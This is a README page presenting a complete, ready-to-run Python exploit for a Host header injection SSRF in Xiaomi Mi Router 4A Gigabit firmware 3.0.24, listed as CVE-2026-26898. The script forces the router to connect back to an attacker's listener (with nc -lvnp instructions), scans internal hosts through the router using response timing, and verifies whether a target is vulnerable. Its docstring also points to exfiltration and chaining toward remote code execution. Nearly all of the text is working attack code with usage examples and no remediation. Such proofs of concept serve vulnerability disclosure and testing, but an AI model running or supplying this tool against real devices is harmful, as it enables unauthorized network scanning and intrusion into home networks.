README.md
Rendering markdown...
#!/usr/bin/env python3
"""
Xiaomi Mi Router 4A Gigabit - SSRF Exploit (CVE-2026-26898)
============================================================
Vulnerability: Host Header Injection leading to Server-Side Request Forgery
Affected: Xiaomi Mi Router 4A Gigabit Edition, Firmware 3.0.24 (and likely others)
Author: Ahmet Mersin
Date: 2026-01-15
Description:
The Xiaomi Router's web interface (LuCI/Nginx) fails to validate the HTTP Host
header. When a request is made to /cgi-bin/luci/api/xqsystem/login, the router
uses the Host header value to make outbound requests, allowing an attacker to:
1. Force the router to connect to arbitrary IP:Port combinations
2. Scan internal networks using the router as a proxy
3. Potentially exfiltrate data or attack internal services
4. Chain with other vulnerabilities for Remote Code Execution
Usage:
# Start listener first:
nc -lvnp 4444
# Run exploit:
python3 xiaomi_ssrf_exploit.py --target 192.168.31.1 --callback YOUR_IP --port 4444
# Scan internal ports:
python3 xiaomi_ssrf_exploit.py --target 192.168.31.1 --scan 192.168.31.1 --ports 22,23,80,443,8080
"""
import requests
import socket
import threading
import argparse
import sys
import time
from concurrent.futures import ThreadPoolExecutor, as_completed
class XiaomiSSRFExploit:
def __init__(self, target_ip, timeout=3):
self.target_ip = target_ip
self.timeout = timeout
self.vuln_endpoint = "/cgi-bin/luci/api/xqsystem/login"
def send_ssrf(self, callback_ip, callback_port):
"""Send SSRF payload via Host header injection"""
url = f"http://{self.target_ip}{self.vuln_endpoint}"
headers = {
"Host": f"{callback_ip}:{callback_port}",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36",
"Accept": "*/*",
"Connection": "close"
}
try:
response = requests.get(url, headers=headers, timeout=self.timeout, allow_redirects=False)
return True, response.status_code
except requests.exceptions.Timeout:
return True, "TIMEOUT" # Timeout often means connection was made
except requests.exceptions.ConnectionError as e:
return False, str(e)
except Exception as e:
return False, str(e)
def callback_exploit(self, callback_ip, callback_port):
"""Basic SSRF callback demonstration"""
print(f"\n[*] Target Router: {self.target_ip}")
print(f"[*] Callback Server: {callback_ip}:{callback_port}")
print(f"[*] Vulnerable Endpoint: {self.vuln_endpoint}")
print("-" * 50)
print(f"[!] Make sure you have a listener running:")
print(f" nc -lvnp {callback_port}")
print("-" * 50)
print("[*] Sending SSRF payload...")
success, result = self.send_ssrf(callback_ip, callback_port)
if success:
print(f"[+] Request sent successfully (Status/Result: {result})")
print(f"[+] Check your listener for incoming connection from {self.target_ip}")
else:
print(f"[-] Request failed: {result}")
return success
def port_scan(self, scan_target, ports):
"""Use SSRF to scan ports on internal hosts"""
print(f"\n[*] SSRF Port Scanner")
print(f"[*] Router (Proxy): {self.target_ip}")
print(f"[*] Scan Target: {scan_target}")
print(f"[*] Ports: {ports}")
print("-" * 50)
open_ports = []
closed_ports = []
for port in ports:
sys.stdout.write(f"\r[*] Scanning port {port}...")
sys.stdout.flush()
start_time = time.time()
success, result = self.send_ssrf(scan_target, port)
elapsed = time.time() - start_time
# Timing-based detection:
# - Fast response = port closed (immediate reject)
# - Slow/timeout = port open (connection established)
if elapsed > 1.5 or result == "TIMEOUT":
open_ports.append(port)
print(f"\r[+] Port {port}: OPEN (response time: {elapsed:.2f}s)")
else:
closed_ports.append(port)
print("\n" + "=" * 50)
print("[*] Scan Results:")
print(f" Open ports: {open_ports if open_ports else 'None detected'}")
print(f" Closed/Filtered: {len(closed_ports)} ports")
return open_ports
def check_vulnerability(self):
"""Verify if target is vulnerable"""
print(f"\n[*] Checking vulnerability on {self.target_ip}...")
# Create a simple socket listener
test_port = 44444
listener_ready = threading.Event()
connection_received = threading.Event()
def listener():
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(('0.0.0.0', test_port))
sock.listen(1)
sock.settimeout(5)
listener_ready.set()
conn, addr = sock.accept()
if addr[0] == self.target_ip:
connection_received.set()
conn.close()
sock.close()
except:
pass
# Get local IP
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
s.connect((self.target_ip, 80))
local_ip = s.getsockname()[0]
finally:
s.close()
print(f"[*] Local IP: {local_ip}")
print(f"[*] Test Port: {test_port}")
# Start listener thread
t = threading.Thread(target=listener)
t.daemon = True
t.start()
listener_ready.wait(timeout=2)
# Send SSRF
self.send_ssrf(local_ip, test_port)
# Wait for connection
time.sleep(3)
if connection_received.is_set():
print(f"[+] VULNERABLE! Router connected back to {local_ip}:{test_port}")
return True
else:
print("[-] Could not confirm vulnerability (no callback received)")
print(" This may be due to firewall or network configuration")
return False
def main():
banner = """
╔═══════════════════════════════════════════════════════════════╗
║ Xiaomi Mi Router 4A Gigabit - SSRF Exploit ║
║ CVE-2026-26898 (Host Header Injection) ║
╚═══════════════════════════════════════════════════════════════╝
"""
print(banner)
parser = argparse.ArgumentParser(
description="Xiaomi Router 4A SSRF Exploit via Host Header Injection",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
Verify vulnerability:
python3 %(prog)s --target 192.168.31.1 --check
Callback exploit (start nc -lvnp 4444 first):
python3 %(prog)s --target 192.168.31.1 --callback 192.168.31.100 --port 4444
Internal port scan:
python3 %(prog)s --target 192.168.31.1 --scan 192.168.31.1 --ports 22,23,80,443,8080
"""
)
parser.add_argument("--target", "-t", required=True,
help="IP address of vulnerable Xiaomi Router")
parser.add_argument("--check", "-c", action="store_true",
help="Check if target is vulnerable")
parser.add_argument("--callback", "-b",
help="Your IP for callback (SSRF demonstration)")
parser.add_argument("--port", "-p", default="4444",
help="Callback port (default: 4444)")
parser.add_argument("--scan", "-s",
help="Target IP to scan using SSRF")
parser.add_argument("--ports", default="21,22,23,25,80,443,8080,8443",
help="Ports to scan (comma-separated)")
parser.add_argument("--timeout", default=3, type=int,
help="Request timeout in seconds")
args = parser.parse_args()
exploit = XiaomiSSRFExploit(args.target, args.timeout)
if args.check:
exploit.check_vulnerability()
elif args.callback:
exploit.callback_exploit(args.callback, args.port)
elif args.scan:
ports = [int(p.strip()) for p in args.ports.split(",")]
exploit.port_scan(args.scan, ports)
else:
parser.print_help()
if __name__ == "__main__":
main()